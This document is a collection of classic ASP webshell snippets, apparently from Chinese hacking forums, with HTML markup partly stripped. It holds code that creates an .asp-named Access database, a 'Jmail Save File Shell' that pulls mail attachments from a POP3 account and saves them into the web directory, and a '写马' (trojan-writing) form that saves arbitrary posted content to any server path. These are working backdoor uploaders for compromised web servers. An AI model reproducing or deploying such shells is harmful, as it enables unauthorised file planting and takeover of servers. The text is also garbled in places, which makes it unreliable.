% 'code by netpatch dim dbfile,sql db="netpatch.asp" dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog") ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" dbfile set ydb=nothing if err.number=0 then Response.Write dbfile " 创建成功br> " else Response.Write "创建失败,原因: " err.description Response.End end if
Set Conn = Server.CreateObject("ADODB.Connection") Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" dbfile
% 'codz by kEvin1986 [S4T] User=Request.Form("User") Pass=Request.Form("Pass") Popserver=Request.Form("Popserver")
if User>"" and Pass>"" and Popserver>"" then Set objmail = CreateObject( "JMail.POP3" ) objmail.Connect User, Pass, Popserver
set objmsg=CreateObject("jmail.message") Set objmsg = objmail.Messages.item(1) separator = ", " response.write "Attachment Name is: " SaveAtta "br>" objmail.Disconnect End if
Function SaveAtta() Set Attachments = objmsg.Attachments separator = ", " response.write "The size of this Attachment is: " objmsg.size "br>" For i = 0 To Attachments.Count - 1 If i = Attachments.Count - 1 Then separator = "" End If
Set Theatta = Attachments(i) response.write Theatta.Name Theatta.SaveToFile(Server.Mappath(".") "\" Theatta.Name) Response.write "Oh!Hey Guy.....That's OK!" Next End Function %>
Html> Head> Title>Jmail Save File Shell/Title> /Head> Body> Center> Form Method="POST"> User: input name="User" type=text value="kevin1986">br> Pass: input name="Pass" type=text value="1986lovinghuan">br> POP3: input name="Popserver" type=text value="pop.163.com">br> input type=submit value="Get the Attachments Of the First Mail"> /Form> /Center> /Body> /Html>
利用xml写马
%on error resume next%> form id="form1" name="form1" method="post" action=''''> p>木马内容/p> p>textarea name="flashboy" cols="80" rows="10">/textarea>/p> p>路径/p> p>input name="textfield" type="text" size="50" />/p> p>input type="submit" name="Submit" value="提交" />/p>/form> p>%Response.write "本文件绝对路径"%> %=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>/p> % dim xmlString dim xmlDoc xmlString= Request("flashboy") set xmlDoc = server.createObject("Msxml2.DOMDocument") xmlDoc.loadXml(xmlString) f=Request("textfield") xmlDoc.save(f) set xmlDoc=nothing %>